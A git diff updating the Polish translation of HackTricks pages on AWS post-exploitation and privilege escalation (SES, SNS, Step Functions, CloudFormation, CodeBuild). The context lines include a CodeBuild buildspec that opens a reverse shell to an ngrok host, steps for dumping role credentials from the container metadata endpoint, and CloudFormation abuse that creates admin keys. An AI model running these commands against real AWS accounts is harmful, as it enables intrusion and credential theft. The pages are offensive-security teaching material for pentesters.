@@ -10,13 +10,13 @@ Aby uzyskać więcej informacji, sprawdź:
 ../aws-services/aws-secrets-manager-enum.md
 {{#endref}}
 
-### Read Secrets
+### Odczyt sekretów
 
 **Sekrety same w sobie są wrażliwymi informacjami**, [sprawdź stronę privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md), aby dowiedzieć się, jak je odczytać.
 
-### DoS Change Secret Value
+### DoS Zmiana wartości sekretu
 
-Zmieniając wartość sekretną, możesz **DoS cały system, który zależy od tej wartości.**
+Zmieniając wartość sekretu, możesz **DoS cały system, który zależy od tej wartości.**
 
 > [!WARNING]
 > Zauważ, że poprzednie wartości są również przechowywane, więc łatwo jest po prostu wrócić do poprzedniej wartości.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index 802c38dae..421c87488 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - SES Post Exploitation
+# AWS - SES Po Eksploatacji
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -17,24 +17,18 @@ Wyślij e-mail.
 aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
 aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
 ```
-Still to test.
-
 ### `ses:SendRawEmail`
 
 Wyślij e-mail.
 ```bash
 aws ses send-raw-email --raw-message file://message.json
 ```
-Still to test.
-
 ### `ses:SendTemplatedEmail`
 
-Wyślij e-mail oparty na szablonie.
+Wyślij e-mail na podstawie szablonu.
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
-Still to test.
-
 ### `ses:SendBulkTemplatedEmail`
 
 Wyślij e-mail do wielu odbiorców
@@ -49,7 +43,7 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```
 ### `ses:SendBounce`
 
-Wyślij **wiadomość zwrotną** na podstawie otrzymanej wiadomości e-mail (wskazując, że wiadomość e-mail nie mogła zostać odebrana). Można to zrobić **do 24 godzin po otrzymaniu** wiadomości e-mail.
+Wyślij **wiadomość zwrotną** na otrzymaną wiadomość e-mail (wskazując, że wiadomość nie mogła być odebrana). Można to zrobić **do 24 godzin po otrzymaniu** wiadomości e-mail.
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
@@ -60,6 +54,6 @@ To wyśle spersonalizowany e-mail weryfikacyjny. Możesz potrzebować również
 aws ses send-custom-verification-email --email-address <value> --template-name <value>
 aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
 ```
-Still to test.
+Nadal do przetestowania.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index a21816ecf..4e8336bc4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji:
 
 ### Zakłócanie wiadomości
 
-W kilku przypadkach tematy SNS są używane do wysyłania wiadomości do platform, które są monitorowane (e-maile, wiadomości slack...). Jeśli atakujący uniemożliwi wysyłanie wiadomości, które informują o jego obecności w chmurze, może pozostać niezauważony.
+W wielu przypadkach tematy SNS są używane do wysyłania wiadomości do platform, które są monitorowane (e-maile, wiadomości slack...). Jeśli atakujący uniemożliwi wysyłanie wiadomości, które informują o jego obecności w chmurze, może pozostać niezauważony.
 
 ### `sns:DeleteTopic`
 
@@ -36,7 +36,7 @@ Napastnik mógłby zmodyfikować atrybuty tematu SNS, co potencjalnie wpłynęł
 ```bash
 aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
 ```
-**Potencjalny wpływ**: Błędne konfiguracje prowadzące do obniżonej wydajności, problemów z bezpieczeństwem lub zmniejszonej dostępności.
+**Potencjalny wpływ**: Błędne konfiguracje prowadzące do pogorszenia wydajności, problemów z bezpieczeństwem lub zmniejszonej dostępności.
 
 ### `sns:Subscribe` , `sns:Unsubscribe`
 
@@ -45,7 +45,7 @@ Napastnik mógłby subskrybować lub wypisywać się z tematu SNS, potencjalnie
 aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
 aws sns unsubscribe --subscription-arn <value>
 ```
-**Potencjalny wpływ**: Nieautoryzowany dostęp do wiadomości, zakłócenia w działaniu aplikacji polegających na dotkniętym temacie.
+**Potencjalny wpływ**: Nieautoryzowany dostęp do wiadomości, zakłócenie działania aplikacji polegających na dotkniętym temacie.
 
 ### `sns:AddPermission` , `sns:RemovePermission`
 
@@ -56,9 +56,9 @@ aws sns remove-permission --topic-arn <value> --label <value>
 ```
 **Potencjalny wpływ**: Nieautoryzowany dostęp do tematu, ujawnienie wiadomości lub manipulacja tematem przez nieautoryzowanych użytkowników lub usługi, zakłócenie normalnego funkcjonowania aplikacji opartych na temacie.
 
-### `sns:TagResource`, `sns:UntagResource`
+### `sns:TagResource` , `sns:UntagResource`
 
-Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów SNS, zakłócając alokację kosztów w Twojej organizacji, śledzenie zasobów oraz polityki kontroli dostępu oparte na tagach.
+Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów SNS, zakłócając alokację kosztów w Twojej organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach.
 ```bash
 aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
 aws sns untag-resource --resource-arn <value> --tag-keys <key>
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index 0a1bbfdeb..ebafcc94c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -1,8 +1,8 @@
-# AWS - Step Functions Post Exploitation
+# AWS - Post Eksploatacja Funkcji Kroków
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Step Functions
+## Funkcje Kroków
 
 Aby uzyskać więcej informacji na temat tej usługi AWS, sprawdź:
 
@@ -12,13 +12,13 @@ Aby uzyskać więcej informacji na temat tej usługi AWS, sprawdź:
 
 ### `states:RevealSecrets`
 
-To uprawnienie pozwala na **ujawnienie tajnych danych wewnątrz wykonania**. W tym celu należy ustawić poziom inspekcji na TRACE oraz parametr revealSecrets na true.
+To uprawnienie pozwala na **ujawnienie tajnych danych wewnątrz wykonania**. W tym celu należy ustawić poziom inspekcji na TRACE i parametr revealSecrets na true.
 
 <figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
 
 ### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
 
-Napastnik z tymi uprawnieniami mógłby na stałe usunąć maszyny stanów, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, prowadzić do utraty danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych maszyn stanów. Dodatkowo, umożliwiłoby to napastnikowi zatarcie śladów, zakłócenie dochodzeń kryminalistycznych i potencjalne sparaliżowanie operacji poprzez usunięcie niezbędnych procesów automatyzacji i konfiguracji stanów.
+Atakujący z tymi uprawnieniami mógłby na stałe usunąć maszyny stanów, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, prowadzić do utraty danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych maszyn stanów. Dodatkowo, umożliwiłoby to atakującemu zatarcie śladów, zakłócenie dochodzeń kryminalistycznych i potencjalnie sparaliżowanie operacji poprzez usunięcie niezbędnych procesów automatyzacji i konfiguracji stanów.
 
 > [!NOTE]
 >
@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
 
 ### `states:UpdateMapRun`
 
-Napastnik z tym uprawnieniem mógłby manipulować konfiguracją awarii Map Run oraz ustawieniem równoległym, mając możliwość zwiększenia lub zmniejszenia maksymalnej liczby dozwolonych wykonania dziecięcych przepływów pracy, co bezpośrednio wpływa na wydajność usługi. Dodatkowo, napastnik mógłby manipulować tolerowanym procentem i liczbą awarii, mając możliwość zmniejszenia tej wartości do 0, co spowodowałoby, że za każdym razem, gdy element zawiedzie, cały przebieg mapy zawiedzie, co bezpośrednio wpłynęłoby na wykonanie maszyny stanów i potencjalnie zakłóciło krytyczne przepływy pracy.
+Napastnik z tym uprawnieniem mógłby manipulować konfiguracją awarii Map Run oraz ustawieniem równoległym, mając możliwość zwiększenia lub zmniejszenia maksymalnej liczby dozwolonych wykonania dziecięcych przepływów pracy, co bezpośrednio wpływa na wydajność usługi. Dodatkowo, napastnik mógłby manipulować tolerowanym procentem i liczbą awarii, mając możliwość zmniejszenia tej wartości do 0, co spowodowałoby, że za każdym razem, gdy element zawiedzie, całe uruchomienie mapy zawiedzie, co bezpośrednio wpłynie na wykonanie maszyny stanów i potencjalnie zakłóci krytyczne przepływy pracy.
 ```bash
 aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
 ```
@@ -48,15 +48,15 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
 Napastnik z tym uprawnieniem mógłby być w stanie zatrzymać wykonanie dowolnej maszyny stanów, zakłócając trwające przepływy pracy i procesy. Może to prowadzić do niekompletnych transakcji, wstrzymania operacji biznesowych i potencjalnej korupcji danych.
 
 > [!WARNING]
-> Ta akcja nie jest wspierana przez **maszyny stanów express**.
+> Ta akcja nie jest wspierana przez **maszyny stanów ekspresowych**.
 ```bash
 aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
 ```
-- **Potencjalny wpływ**: Zakłócenie bieżących przepływów pracy, przestoje operacyjne i potencjalna korupcja danych.
+- **Potencjalny wpływ**: Zakłócenie bieżących przepływów pracy, przestoje operacyjne i potencjalne uszkodzenie danych.
 
 ### `states:TagResource`, `states:UntagResource`
 
-Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Step Functions, zakłócając alokację kosztów w organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach.
+Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Step Functions, zakłócając alokację kosztów w Twojej organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach.
 ```bash
 aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
 aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index 947eb7475..29af25523 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
 signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
 
 
-
 # Give the URL to login
 echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
 ```
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
 
 ### **Obejście ograniczeń User-Agent z Pythona**
 
-Jeśli istnieje **ograniczenie dotyczące wykonywania określonych działań w oparciu o agenta użytkownika** (na przykład ograniczenie użycia biblioteki python boto3 w oparciu o agenta użytkownika), możliwe jest użycie poprzedniej techniki, aby **połączyć się z konsolą internetową za pomocą przeglądarki**, lub możesz bezpośrednio **zmodyfikować agenta użytkownika boto3**, wykonując:
+Jeśli istnieje **ograniczenie dotyczące wykonywania określonych działań w oparciu o używany agent użytkownika** (na przykład ograniczenie użycia biblioteki python boto3 w oparciu o agenta użytkownika), możliwe jest użycie poprzedniej techniki, aby **połączyć się z konsolą internetową za pomocą przeglądarki**, lub możesz bezpośrednio **zmodyfikować agenta użytkownika boto3**, wykonując:
 ```bash
 # Shared by ex16x41
 # Create a client
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
index 9cf0d9dd2..91c2c4dda 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
@@ -1,19 +1,19 @@
-# AWS - Podwyższanie Uprawnień
+# AWS - Eskalacja Uprawnień
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Podwyższanie Uprawnień w AWS
+## Eskalacja Uprawnień w AWS
 
-Sposobem na podwyższenie swoich uprawnień w AWS jest posiadanie wystarczających uprawnień, aby móc w jakiś sposób uzyskać dostęp do uprawnień innych ról/użytkowników/grup. Łączenie eskalacji, aż uzyskasz dostęp administratora do organizacji.
+Sposobem na eskalację swoich uprawnień w AWS jest posiadanie wystarczających uprawnień, aby w jakiś sposób uzyskać dostęp do uprawnień innych ról/użytkowników/grup. Łączenie eskalacji, aż uzyskasz dostęp administratora do organizacji.
 
 > [!WARNING]
-> AWS ma **setki** (jeśli nie tysiące) **uprawnień**, które mogą być przyznane podmiotowi. W tej książce znajdziesz **wszystkie uprawnienia, które znam**, które możesz wykorzystać do **podwyższania uprawnień**, ale jeśli **znasz jakąś ścieżkę**, która nie została tutaj wspomniana, **proszę podziel się nią**.
+> AWS ma **setki** (jeśli nie tysiące) **uprawnień**, które mogą być przyznane podmiotowi. W tej książce znajdziesz **wszystkie uprawnienia, które znam**, które możesz wykorzystać do **eskalacji uprawnień**, ale jeśli **znasz jakąś ścieżkę**, która nie została tutaj wymieniona, **proszę podziel się nią**.
 
 > [!CAUTION]
 > Jeśli polityka IAM ma `"Effect": "Allow"` i `"NotAction": "Someaction"` wskazując na **zasób**... oznacza to, że **dozwolony podmiot** ma **zezwolenie na ROBIENIE WSZYSTKIEGO oprócz tej określonej akcji**.\
 > Pamiętaj, że to jest inny sposób na **przyznanie uprawnień uprzywilejowanych** podmiotowi.
 
-**Strony tej sekcji są uporządkowane według usługi AWS. Tam będziesz mógł znaleźć uprawnienia, które pozwolą Ci na podwyższenie uprawnień.**
+**Strony tej sekcji są uporządkowane według usługi AWS. Znajdziesz tam uprawnienia, które pozwolą Ci na eskalację uprawnień.**
 
 ## Narzędzia
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index 1306d1181..c318228b8 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
 
 ### `apigateway:POST`
 
-Dzięki temu uprawnieniu możesz generować klucze API skonfigurowanych API (na region).
+Dzięki temu uprawnieniu możesz generować klucze API dla skonfigurowanych API (na region).
 ```bash
 aws --region <region> apigateway create-api-key
 ```
@@ -29,7 +29,7 @@ aws --region <region> apigateway get-api-key --api-key <key> --include-value
 
 ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
 
-Dzięki tym uprawnieniom możliwe jest modyfikowanie polityki zasobów API, aby uzyskać dostęp do jego wywołania i nadużyć potencjalnego dostępu, jaki może mieć brama API (np. wywołując podatną lambdę).
+Dzięki tym uprawnieniom możliwe jest modyfikowanie polityki zasobów API, aby uzyskać dostęp do jego wywołania i nadużywać potencjalnego dostępu, jaki API gateway może mieć (np. wywołując podatną lambdę).
 ```bash
 aws apigateway update-rest-api \
 --rest-api-id api-id \
@@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 > [!NOTE]
 > Wymaga testowania
 
-Napastnik z uprawnieniem `apigateway:UpdateVpcLink` może **zmodyfikować istniejące połączenie VPC, aby wskazywało na inny Load Balancer, potencjalnie przekierowując prywatny ruch API do nieautoryzowanych lub złośliwych zasobów**.
+Atakujący z uprawnieniem `apigateway:UpdateVpcLink` może **zmodyfikować istniejące połączenie VPC, aby wskazywało na inny Load Balancer, potencjalnie przekierowując prywatny ruch API do nieautoryzowanych lub złośliwych zasobów**.
 ```bash
 bashCopy codeVPC_LINK_ID="your-vpc-link-id"
 NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index 3ea015788..c3f549bcc 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -24,7 +24,7 @@ Na poniższej stronie masz **przykład eksploatacji** z dodatkowym uprawnieniem
 iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
 {{#endref}}
 
-**Potencjalny wpływ:** Privesc do roli usługi cloudformation określonej.
+**Potencjalny wpływ:** Privesc do roli serwisowej cloudformation.
 
 ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
 
@@ -43,7 +43,7 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so
 
 ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
 
-Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji).
+Jeśli masz to uprawnienie, ale **brak `iam:PassRole`**, nadal możesz **aktualizować stosy** używane i nadużywać **ról IAM, które już mają przypisane**. Sprawdź poprzednią sekcję w celu uzyskania przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji).
 
 Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnienia `UpdateStack`** nad stosem i przeprowadzenia ataku.
 
@@ -53,7 +53,7 @@ Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania so
 
 Atakujący z uprawnieniami do **przekazywania roli oraz tworzenia i wykonywania ChangeSet** może **tworzyć/aktualizować nowy stos cloudformation, nadużywając ról usługi cloudformation** tak jak w przypadku CreateStack lub UpdateStack.
 
-Poniższe wykorzystanie to **wariant**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) wykorzystujący **uprawnienia ChangeSet** do stworzenia stosu.
+Poniższe wykorzystanie jest **wariacją**[ **CreateStack**](./#iam-passrole-cloudformation-createstack) wykorzystującą **uprawnienia ChangeSet** do stworzenia stosu.
 ```bash
 aws cloudformation create-change-set \
 --stack-name privesc \
@@ -79,17 +79,17 @@ aws cloudformation describe-stacks \
 --stack-name privesc \
 --region eu-west-1
 ```
-Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **nadania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku.
+Uprawnienie `cloudformation:SetStackPolicy` może być użyte do **przyznania sobie uprawnień `ChangeSet`** nad stosem i przeprowadzenia ataku.
 
 **Potencjalny wpływ:** Privesc do ról serwisowych cloudformation.
 
 ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
 
-To jest jak poprzednia metoda, ale bez przekazywania **ról IAM**, więc możesz po prostu **wykorzystać już dołączone**, wystarczy zmodyfikować parametr:
+To jest jak poprzednia metoda, ale bez przekazywania **ról IAM**, więc możesz po prostu **wykorzystać już przypisane**, wystarczy zmodyfikować parametr:
 ```
 --change-set-type UPDATE
 ```
-**Potencjalny wpływ:** Privesc do roli usługi cloudformation już przypisanej.
+**Potencjalny wpływ:** Privesc do roli usługi cloudformation, która jest już dołączona.
 
 ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
 
@@ -99,9 +99,9 @@ Napastnik mógłby nadużyć tych uprawnień, aby tworzyć/aktualizować StackSe
 
 ### `cloudformation:UpdateStackSet`
 
-Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia przypisanych ról cloudformation.
+Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia dołączonych ról cloudformation.
 
-**Potencjalny wpływ:** Privesc do przypisanych ról cloudformation.
+**Potencjalny wpływ:** Privesc do dołączonych ról cloudformation.
 
 ## Odniesienia
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index acda6af03..366bbde6c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -1,8 +1,8 @@
-# iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
+# iam:PassRole, cloudformation:CreateStack,i cloudformation:DescribeStacks
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-Atakujący mógłby na przykład użyć **szablonu cloudformation**, który generuje **klucze dla użytkownika admin** jak:
+Napastnik mógłby na przykład użyć **szablonu cloudformation**, który generuje **klucze dla użytkownika admin** jak:
 ```json
 {
 "Resources": {
@@ -62,13 +62,13 @@ aws cloudformation create-stack --stack-name privesc \
 --role arn:aws:iam::[REDACTED]:role/adminaccess \
 --capabilities CAPABILITY_IAM --region us-west-2
 ```
-**Poczekaj kilka minut**, aż stos zostanie wygenerowany, a następnie **pobierz wynik** stosu, w którym **przechowywane są poświadczenia**:
+**Poczekaj kilka minut**, aż stos zostanie wygenerowany, a następnie **uzyskaj wynik** stosu, w którym **przechowywane są dane uwierzytelniające**:
 ```bash
 aws cloudformation describe-stacks \
 --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
 --region uswest-2
 ```
-### References
+### Odniesienia
 
 - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws)
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index f7615c457..dcaff44a2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -63,11 +63,11 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
 - `StartBuild` uruchamia pojedyncze zadanie budowania przy użyciu konkretnego `buildspec.yml`.
 - `StartBuildBatch` pozwala na uruchomienie partii budów, z bardziej złożonymi konfiguracjami (takimi jak uruchamianie wielu budów równolegle).
 
-**Potencjalny wpływ:** Bezpośrednie privesc do dołączonych ról AWS Codebuild.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dołączonych ról AWS Codebuild.
 
 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Atakujący z uprawnieniami **`iam:PassRole`, `codebuild:CreateProject` oraz `codebuild:StartBuild` lub `codebuild:StartBuildBatch`** mógłby **eskalować uprawnienia do dowolnej roli IAM codebuild** poprzez utworzenie działającej. 
+Atakujący z uprawnieniami **`iam:PassRole`, `codebuild:CreateProject` oraz `codebuild:StartBuild` lub `codebuild:StartBuildBatch`** mógłby **podnieść uprawnienia do dowolnej roli IAM Codebuild** poprzez utworzenie działającej. 
 
 {{#tabs }}
 {{#tab name="Example1" }}
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
 ```
 {{#endtab }}
 
-{{#tab name="Przykład2" }}
+{{#tab name="Example2" }}
 ```bash
 # Generated by AI, not tested
 # Create a buildspec.yml file with reverse shell command
@@ -142,11 +142,11 @@ aws codebuild start-build --project-name reverse-shell-project
 > [!WARNING]
 > W **kontenerze Codebuild** plik `/codebuild/output/tmp/env.sh` zawiera wszystkie zmienne środowiskowe potrzebne do uzyskania dostępu do **poświadczeń metadanych**.
 
-> Ten plik zawiera **zmienną środowiskową `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, która zawiera **ścieżkę URL** do uzyskania poświadczeń. Będzie to coś takiego jak `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
+> Ten plik zawiera **zmienną środowiskową `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**, która zawiera **ścieżkę URL** do uzyskania dostępu do poświadczeń. Będzie to coś takiego jak `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
 
 > Dodaj to do URL **`http://169.254.170.2/`** a będziesz mógł zrzucić poświadczenia roli.
 
-> Ponadto zawiera również **zmienną środowiskową `ECS_CONTAINER_METADATA_URI`**, która zawiera pełny URL do uzyskania **informacji o metadanych kontenera**.
+> Ponadto zawiera również **zmienną środowiskową `ECS_CONTAINER_METADATA_URI`**, która zawiera pełny URL do uzyskania **informacji metadanych o kontenerze**.
 
 ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
@@ -184,11 +184,11 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
 
 aws codebuild start-build --project-name codebuild-demo-project
 ```
-**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli AWS Codebuild.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli AWS Codebuild.
 
 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Jak w poprzedniej sekcji, ale **bez uprawnienia `iam:PassRole`**, możesz nadużywać tych uprawnień, aby **modyfikować istniejące projekty Codebuild i uzyskiwać dostęp do roli, którą już mają przypisaną**.
+Jak w poprzedniej sekcji, ale **bez uprawnienia `iam:PassRole`**, możesz nadużyć tych uprawnień, aby **zmodyfikować istniejące projekty Codebuild i uzyskać dostęp do roli, którą już mają przypisaną**.
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -264,7 +264,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
 {{#endtab }}
 {{#endtabs }}
 
-**Potencjalny wpływ:** Bezpośrednie privesc do dołączonych ról AWS Codebuild.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dołączonych ról AWS Codebuild.
 
 ### SSM
 
@@ -275,7 +275,7 @@ Projekt codebuild musi mieć punkt przerwania:
 <pre class="language-yaml"><code class="lang-yaml">phases:
 pre_build:
 commands:
-- echo Wejście w fazę pre_build...
+- echo Entered the pre_build phase...
 - echo "Hello World" > /tmp/hello-world
 <strong>      - codebuild-breakpoint
 </strong></code></pre>
@@ -285,7 +285,7 @@ A następnie:
 aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
 aws ssm start-session --target <sessionTarget> --region <region>
 ```
-For more info [**sprawdź dokumentację**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+Dla uzyskania dodatkowych informacji [**sprawdź dokumentację**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
@@ -317,13 +317,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**Wpływ:** Bezpośrednie privesc do roli używanej przez pracownika AWS CodeBuild, która zazwyczaj ma wysokie uprawnienia.
+**Wpływ:** Bezpośrednie podniesienie uprawnień do roli używanej przez pracownika AWS CodeBuild, która zazwyczaj ma wysokie uprawnienia.
 
 > [!WARNING]
-> Należy zauważyć, że buildspec może być oczekiwany w formacie zip, więc atakujący musiałby pobrać, rozpakować, zmodyfikować `buildspec.yml` z katalogu głównego, ponownie spakować i przesłać
+> Należy pamiętać, że buildspec może być oczekiwany w formacie zip, więc atakujący musiałby pobrać, rozpakować, zmodyfikować `buildspec.yml` z katalogu głównego, ponownie spakować i przesłać.
 
 Więcej szczegółów można znaleźć [tutaj](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
 
-**Potencjalny wpływ:** Bezpośrednie privesc do dołączonych ról AWS Codebuild.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dołączonych ról AWS Codebuild.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
index 762578a5a..9f764c2cf 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
